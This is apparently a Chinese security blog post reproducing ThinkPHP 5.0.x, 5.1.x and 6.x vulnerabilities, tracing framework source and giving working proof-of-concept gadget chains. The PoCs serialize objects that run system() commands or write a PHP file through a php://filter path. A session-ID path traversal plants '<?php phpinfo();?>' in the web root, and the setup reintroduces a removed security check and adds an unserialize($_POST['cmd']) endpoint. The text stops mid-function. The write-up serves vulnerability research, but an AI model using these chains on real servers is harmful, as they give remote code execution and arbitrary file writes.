17
18
19
20
21
22
23
namespace think\process\pipes;

use think\model\Pivot;

class Pipes
{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

全局搜索__toString()方法

1
2
3
4
public function __toString()
{
return $this->toJson();
}

(这里看到一个熟悉的东西 嘿嘿 在做thinkphp6的反序列化复现的时候看到过)

我们继续跟进toJson()

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

(前进四)跟进到toArray()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

(原本想偷个懒,好吧,自己跟进看了眼,直接通过__toString()方法进行漏洞执行发现不太行,只能重新审计了)

由于thinkphp5.0.X的反序列化是要调用的Request__call方法,这里我们需要重点关注能触发__call方法的地方

1
2
3
$item[$key] = $relation->append($name)->toArray();
$bindAttr = $modelRelation->getBindAttr();
$item[$key] = $value ? $value->getAttr($attr) : null;

这我们就需要看一下他是否可控,同时满足判断条件

我们重点看第三条,$value存在可控的可能,但同时也需要满足一些条件

1
$value = $this->getRelationData($modelRelation);

$value是由getRelationData()赋值得到的,这样我们去看一下这个方法

1
2
3
4
5
6
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
}
}

这里可以发现只要满足条件就可以 $value = $this->parent;

ok,那我们就来看一下最终需要满足的条件

先看函数里面if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))

$this->parent

这个只要存在即可,同时这个也是我们需要控制的点

$modelRelation->isSelfRelation()

检测传入的变量$modelRelation是否为Relation类型

1
2
3
4
public function isSelfRelation()
{
return $this->selfRelation;
}

selfRelation可控

get_class($modelRelation->getModel()) == get_class($this->parent))

1
2
3
4
5
6
7
8
public function getModel()
{
return $this->query->getModel();
}
public function getModel()
{
return $this->model;
}

$query $model可控

然后我们来看外面的几个判断

!empty($this->append) ($this->append as $key => $name)

存在append属性 且 属性结构为key => value

**is_array($name) strpos($name, ‘.’) **

$name不为数组 且 不包含 ‘ . ’

method_exists($this, $relation)

类已存在的方法

method_exists($modelRelation, ‘getBindAttr’)

存在getBindAttr方法

isset($this->data[$key])

$this->data 不存在key

这里我们看到method_exists($modelRelation, 'getBindAttr'),这个条件要求我们必须存在getBindAttr方法,我们全局搜索一下

234

可以发现只有thinkphp/library/think/model/relation/OneToOne.php中存在getBindAttr方法

1
2
3
4
public function getBindAttr()
{
return $this->bindAttr;
}

bindAttr可控,但同样OneToOne是一个抽象类,我们需要找到他的子类

235

这里我们看到HasOne

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getRelation($subRelation = '', $closure = null)
{
// 执行关联定义方法
$localKey = $this->localKey;
if ($closure) {
call_user_func_array($closure, [ & $this->query]);
}
// 判断关联类型执行查询
$relationModel = $this->query
->removeWhereField($this->foreignKey)
->where($this->foreignKey, $this->parent->$localKey)
->relation($subRelation)
->find();

if ($relationModel) {
$relationModel->setParent(clone $this->parent);
}

return $relationModel;

(其实也可以用这个方法来满足$modelRelation为Relation类型并调用getRelation方法,即if (method_exists($modelRelation, 'getRelation')),来控制$value

这一部分poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
namespace think;

use think\console\Output;
use think\model\relation\HasOne;

abstract class Model implements \JsonSerializable, \ArrayAccess
{
protected $append = [];
protected $error;
public $parent;
public function __construct()
{
$this->append = ["getError"];
$this->error = new HasOne();
$this->parent = new Output();
}
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{

protected $bindAttr = [];
function __construct()
{
parent::__construct();
$this->bindAttr = ["seizer", "seizer"];
}
}

class HasOne extends OneToOne
{
function __construct()
{
parent::__construct();
}
}

namespace think\model;

use think\db\Query;

abstract class Relation
{
protected $selfRelation;
protected $query;
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
}
}

namespace think\db;

use think\console\Output;

class Query
{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}

到这里我们就可以调用到__call方法了

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

(in_array($method, $this->styles)

$this->styles中搜索$method

$method是getAttr,且$this->styles是可控的。只要在styles数组里加一个getAttr即可

array_unshift($args, $method);

array_unshift() 函数用于向数组插入新元素,新数组的值将被插入到数组的开头

array_unshift($args, $method)`里的参数都是可控的,所以往下走没有影响

call_user_func_array([$this, 'block'], $args)

call_user_func_array()是回调函数,可以将把一个数组参数作为回调函数的参数

call_user_func_array([$this, 'block'], $args); 也就是调用block函数,传参是$args数组

跟踪block函数

1
2
3
4
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

跟踪writeln函数

1
2
3
4
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

持续跟进到write函数

1
2
3
4
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

这里$this->handle是可控的,继续全局搜索write,寻找可控的点,**/thinkphp/library/think/session/driver/Memcached.php**

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

这样就有找到了一个跳板set,然后继续找可以写入文件的方式,找到了**/thinkphp/library/think/cache/driver/File.php**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

可以看到调用了file_put_contents,这样我们只需要看这里的两个参数是否可控就可以

1
2
$filename = $this->getCacheKey($name, true);
$data = serialize($value);

我们跟进getCacheKey()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}

$filename的后缀是写死的为php,同时options['path']部分可控,故$filename前部分内容可控

$data则是第二个参数$value的序列化值,不可控,再执行file_put_contents时还未能写入任意内容

所以只能往下走,执行isset($first) && $this->setTagItem($filename);

我们跟踪setTagItem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}

发现再次调用set方法,且此时的第二个参数变为可控值,为$name也就是刚才的$filename

这里的$key也就是set方法的$name参数还会进入$this->getCacheKey方法,导致该参数也可控,从而使得第二次调用set时,file_put_contents的俩个参数都可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
namespace think\session\driver;

use SessionHandler;
use think\cache\driver\File;

class Memcache extends SessionHandler
{
protected $handler = null;
public function __construct()
{
$this->handler = new File();
}
}

namespace think\cache\driver;

use think\cache\Driver;

class File extends Driver
{
protected $options = [];
public function __construct()
{
parent::__construct();
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
'data_compress' => false,
];
}
}

namespace think\cache;

abstract class Driver
{
protected $tag;
public function __construct()
{
$this->tag = true;
}
}

ThinkPHP5.1.X 反序列化

这里就比较简单,前面的跟5.0.24基本一致,就是后面稍微有一点区别,相同的我就不过多赘述

漏洞复现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $append = ['4ut15m'=>[]];

public function __construct($cmd){
$this->relation = false;
$this->data = ['Jijoy'=>'whoami']; //任意值,value
$this->withAttr = ['Jijoy'=>'system'];
}
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}


namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];

public function __construct($cmd){
$this->files = [new Pivot($cmd)]; //Conversion类
}

}

$windows = new Windows($argv[1]);
echo urlencode(serialize($windows))."\n";


?>
漏洞分析

getAttr()利用之前基本一致,这里就不再重复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])) {
$value = $this->formatDateTime($this->dateFormat, $value);
} else {
$value = $this->formatDateTime($this->dateFormat, $value, true);
}
} elseif ($notFound) {
$value = $this->getRelationAttribute($name, $item);
}

return $value;
}

我们看到这里的getAttr()方法,可以看到其中$value = $closure($value, $this->data);

执行该语句需要isset($this->withAttr[$fieldName])

$closure$this->withAttr[$fileName]控制,$this->withAttr可控,$fileName由我们参数$name即我们传入的$this->append的key控制,也是可控的

而执行语句中valuegetData得到

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

如果$this->data中存在$name键,就将$this->data[$name]的值赋给value,$this->data与$name皆可控,故value可控

因此只需要

1
2
3
4
Conversion->append = ["Jijoy"=>[]]
Conversion->relation = false
Conversion->withAttr = ["Jijoy"=>"system"]
Conversion->data = ["Jijoy"=>"cmd"]

因为convertion是trait类,所以只要找到一个使用了conversion的类即可,全局搜索conversion找到Model类

236

由于Model是抽象类,我们得找到Model的实现类,全局搜索找到Pivot

237

就此构造执行命令

1
2
3
4
Windows->files = new Pivot()
Pivot->relation = false
Pivot->data = ["Jijoy"=>"cmd"] //要执行的命令
Pivot->withAttr = ["Jijoy"=>"system"]

ThinkPHP6.X 任意文件创建

ThinkPHP6.0.X 中的 任意文件创建 漏洞,漏洞影响 ThinkPHP6.0.0、6.0.1

环境安装好后是一个已经修复的版本,这里需要稍微改一下

vendor/topthink/framework/src/think/session/Store.php

1
2
3
4
ublic function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 && ctype_alnum($id) ? $id : md5(microtime(true) . session_create_id());
}

这里是修改后的代码,我们需要删去一部分,修改成

1
2
3
4
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

漏洞利用

Session 安全隐患修正

这里就需要开启Session

app/middleware.php下初始化Session

1
2
3
4
5
6
7
8
9
10
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];

然后在app/controller/Index.php中启用Session

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
session('demo', $_REQUEST['Jijoy']);
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

最后直接php think run 即可

漏洞复现

网页打开可以发现,提示我们没有传入Jijoy的值 ( 这里开启了Debug模式 )

218

这里就直接给Jijoy传一个值

1
Jijoy=<?php phpinfo();?>

然后修改Session的值

219

thinkphp显示的是public目录,这里我们就需要切换到public目录下,直接通过构造路径(这个有一个点需要注意,len(PHPSESSID)要等于32位)

这里我们就可以直接访问\aaaaaaaaaaa.php

220

可以看到这里文件就已经可以写入了

漏洞分析

1
2
3
4
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

因为这里漏洞由setId,所以我们首先查看哪里调用可setId方法,找到setId的来源

vendor/topthink/framework/src/think/middleware/SessionInit.php下面发现

1
2
3
if ($sessionId) {
$this->session->setId($sessionId);
}

好像看起来和我们的session的漏洞有点关系,跟踪一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();

if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}

if ($sessionId) {
$this->session->setId($sessionId);
}

221

发现session.var_session_id的值默认为空,导致执行$sessionId = $request->cookie($cookieName),使得$sessionId$cookieName控制,而$cookieName又是由getName()方法调用获得

1
2
3
4
5
 protected $name = 'PHPSESSID';
public function getName(): string
{
return $this->name;
}

$name被固定为PHPSESSID,这里就可以作为传入的入口,然后我们需要看一下如何利用这个入口,回到setId()方法,有setId()方法一般都还存在getId()方法

1
2
3
4
public function getId(): string
{
return $this->id;
}

这里查看一下getId()方法的调用情况,发现getId()方法在save()方法中被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function save(): void
{
$this->clearFlashData();

$sessionId = $this->getId();

if (!empty($this->data)) {
$data = $this->serialize($this->data);

$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}

$this->init = false;

同时还发现在save()方法中调用了write()delete()方法,这里就跟踪这两个方法

1
2
3
4
5
6
interface SessionHandlerInterface
{
public function read(string $sessionId): string;
public function delete(string $sessionId): bool;
public function write(string $sessionId, string $data): bool;
}

发现这两个函数都是由接口方法定义的

接口方法

1
2
3
4
interface 接口名称 [extends 其他的接口名] {
// 声明变量
// 抽象方法
}

使用接口(interface),可以指定某个类必须实现哪些方法,但不需要定义这些方法的具体内容

  • 因为实现了同一个接口,所以开发者创建的对象虽然源自不同的类,但可能可以交换使用。 常用于多个数据库的服务访问、多个支付网关、不同的缓存策略等。 可能不需要任何代码修改,就能切换不同的实现方式。
  • 能够让函数与方法接受一个符合接口的参数,而不需要关心对象如何做、如何实现。 这些接口常常命名成类似 IterableCacheableRenderable, 以便于体现出功能的含义。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

// 声明一个'Template'接口
interface Template
{
public function setVariable($name, $var);
public function getHtml($template);
}


// 实现接口
// 下面的写法是正确的
class WorkingTemplate implements Template
{
private $vars = [];

public function setVariable($name, $var)
{
$this->vars[$name] = $var;
}

public function getHtml($template)
{
foreach($this->vars as $name => $value) {
$template = str_replace('{' . $name . '}', $value, $template);
}

return $template;
}
}

这样这里就需要去找实现了该接口的类

全局搜索可以发现

222

223

Cache类的write和delete没有文件写入,我们重点看File类的write和delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;

if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

return $this->writeFile($filename, $data);
}

/**
* 删除Session
* @access public
* @param string $sessID
* @return bool
*/
public function delete(string $sessID): bool
{
try {
return $this->unlink($this->getFileName($sessID));
} catch (\Exception $e) {
return false;
}
}

/**
* 判断文件是否存在后,删除
* @access private
* @param string $file
* @return bool
*/

write方法里的$filenamegetFileName()方法获得,跟踪方法getFileName()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
protected function getFileName(string $name, bool $auto = false): string
{
if ($this->config['prefix']) {
// 使用子目录
$name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
} else {
$name = 'sess_' . $name;
}

$filename = $this->config['path'] . $name;
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

return $filename;

这里先对是否存在配置session文件的前缀,存在拼接到字符串最前面,不存在则直接在文件名前拼接sess_,返回文件名,然后回到write方法,通过writeFile()方法创建文件

1
2
3
4
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}

$path$content是可控的,这里我们就要看怎么控制这连个变量了

再次回到调用了getId()save()方法上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function save(): void
{
$this->clearFlashData();

$sessionId = $this->getId();

if (!empty($this->data)) {
$data = $this->serialize($this->data);

$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}

$this->init = false;
}

$sessionId是由getId()方法获得,而其中变量$idsetId()方法,setId()方法对$id进行判断是否存在并$id长度是否等于32,如果符合输出$id,不符合则输出$idmd5加密值,这里就回到了我们一开始查看的对setId()方法的利用,就可以控制$path

再看$content,跟踪后发现$content是由$data控制,而$data的值在方法init()中被写入

1
$data = $this->handler->read($this->getId());

读取对应的Session内容

这样$path$content就都可以被控制,从而控制文件的写入

这里还有一点需要提一下,thinkphp一般显示的是public目录,这里就需要写到public目录下

1
/../../../public/12345678910.php

ThinkPHP6.X 反序列化

漏洞利用

反序列化漏洞需要存在unserialize()作为触发条件,这里修改一下入口文件

1
2
3
4
5
6
public function Jijoy(){


unserialize($_POST['cmd']);
phpinfo();
}

漏洞复现

再构造链子的时候发现两件很有意思的事情

231

232

我们看到的函数方法其实并不是在普通类中构造的,Model是抽象类,Conversion是trait,我们来看一下这两个类型

抽象类

PHP 有抽象类和抽象方法。定义为抽象的类不能被实例化。任何一个类,如果它里面至少有一个方法是被声明为抽象的,那么这个类就必须被声明为抽象的。被定义为抽象的方法只是声明了其调用方式(参数),不能定义其具体的功能实现。

trait

traits是一种在php等单一继承语言中重用代码的机制。特性旨在通过允许开发人员在不同类层次结构中的几个独立类中自由重用方法集来减少单个继承的某些限制。在定义特征和类的组合语义时,减少了复杂性,避免了与多重继承和混合相关的典型问题。
traits类似于类,但仅用于以细粒度和一致的方式对功能进行分组。不可能单独实例化一个特征。它是对传统继承的补充,支持行为的水平组合;也就是说,不需要继承就可以应用类成员。

这里举几个例子来说明一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class A
{
public static $testA;
}

class B extends A
{

}

class C extends A
{

}

B::$testA = 'hello';
C::$testA = 'world';
echo B::$testA.' '.C::$testA;
//输出:world world
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

trait A
{
public static $testA;
}

class B
{
use A;
}

class C
{
use A;
}

B::$testA = 'hello';
C::$testA = 'world';
echo B::$testA.' '.C::$testA;
//输出:hello world
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class A
{
public function say()
{
echo 'hello';
}
}

trait B
{
public function say()
{
parent::say();
echo 'world';
}
}

class C extends A
{
use B;
// public function say()
// {
// echo 'test';
// }
}
$obj = new C();
$obj->say();
//目前输出:helloworld,如果注释放开,输出:test,如果将trait B中的 parent::say(); 注释掉,输出:world

来自基类的继承成员被trait插入的成员覆盖。优先顺序是当前类的成员覆盖Trait方法,Trait又覆盖继承的方法,也就是子类 > trait > 基类

因此这里我们还需要找到继承了抽象类Model的子类

全局搜索

1
2
3
4
5
class Pivot extends Model{
public function __construct($data){
parent::__construct($data);
}
}

这样Pivot就是我们需要的类了

还有一个就是当我们要触发__toString方法时,我们可以看到跳转到trait Conversion,这是一个trait类,而好巧不巧,这个trait类恰好被model类所复用,也就是说__toString方法在这个类本身中就可以被调用了,这里我们只需要重新调用一下自己,就可以触发自己的__toString方法

发现类里面的变量都是protected属性,这里做了个简单测试

233

发现可以利用__construct方法写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace think\model\concern;

trait Attribute{
private $data=['Jijoy'=>'dir'];
private $withAttr=['Jijoy'=>'system'];
}
trait ModelEvent{
protected $withEvent;
}

namespace think;

abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
// public $suffix;
protected $table;
function __construct($a="")
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->table=$a
}


}

namespace think\model;

use think\Model;

class Pivot extends Model{}


$Pivot1=new Pivot();
$Pivot2=new Pivot($Pivot1);
echo urlencode(serialize($Pivot2));

漏洞分析

反序列化的入口一般都是__destruct__wakeup

全局搜索一下,定位到vendor/topthink/think-orm/src/Model.php

1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

跟踪save()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}
}

看到几个函数调用,先看一下setAttrs()方法,简单看了一下没有能利用的点,

setAttrs()中存在一个动态函数调用,可以实现命令执行

1
2
3
4
5
6
7
8
if (method_exists($this, $method)) {
$array = $this->data;

$value = $this->$method($value, array_merge($this->data, $data));

if (is_null($value) && $array !== $this->data) {
return;
}

但是由于存在字符串拼接

1
$method = 'set' . Str::studly($name) . 'Attr';

导致无法自己构造$method,接着往下面审计

可以看到一个三目运算符,先看里面的函数调用updateData()

1
2
3
4
5
6
7
8
9
10
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
...
$allowFields = $this->checkAllowFields();
...
}

这里看到$this->checkAllowFields(),我们继续跟踪,发现在checkAllowFields()

1
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

可以实现字符串拼接,这里就可以构造$this->table . $this->suffix 使其设置为类对象,从而调用__toString方法

既然确定可以调用__toString方法,我们回去函数调用之前的代码

因为需要调用到$this->updateData(),不能提前return,所以我们需要先绕过判断

1
if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))

这里需要两个条件同时不满足,看一下两个函数的调用

1
2
3
4
5
6
7
8
9
10
public function isEmpty(): bool
{
return empty($this->data); //这里很好控制,只要设置为非空数组即可
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true; //这里也只需要控制$this->withEvent为false即可
}
}

再看到三目运算符的判定

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

这里需要$this->exists为True,就能进行$this->updateData()

执行updateData()方法时,我们同样也需要避免提前的return

查看checkAllowFields()之前的几个函数调用trigger()checkData()其实并没有什么东西了,就需要看到getChangedData(),为了防止$data变量对我们链子的干扰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}

return $data;
}

我们就直接构造$this->force为True,是返回值为一个非空数组,从而避免

1
2
3
4
5
6
7
8
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

这样我们就成功进入checkAllowFields(),完成字符串拼接,我们任然需要绕过几个判断

1
2
3
empty($this->field)
empty($this->schema)
$quer=$this->db();

$this->field和$this->schema为空,初始就是空数组,不需要做任何处理

1
2
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);

满足判断条件即可!empty($this->table)即可

OK,到这里__toString方法之前的链子调用我们基本捋清楚了,然后我们看到__toString方法,全局搜索__toString方法,这里看到vendor/topthink/think-orm/src/model/concern/Conversion.php下的__toString方法

1
2
3
4
public function __toString()
{
return $this->toJson();
}

调用toJson()方法,继续跟踪

1
2
3
4
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

跟踪toArray()方法

230

前面几个循环不用具体看,这里我们重点看我们需要调用的getAttr()方法所处在的循环,$val instanceof Model || $val instanceof ModelCollection判断是否为 Model 类的实例或 ModelCollection 类的实例,我们绕过这个判断,看后面调用函数的判断,这里需要存在$visible[$key],也就是说,这里需要使$visible$date之间存在相同的键值,那么这个循环就是将$this->data中的$key遍历传入给getAttr()方法

继续跟踪getAttr()方法

1
2
3
4
5
6
7
8
9
10
11
12
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation);
}

$value要取出键值对的值,我们看一下它里面的函数调用,跟踪getData()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
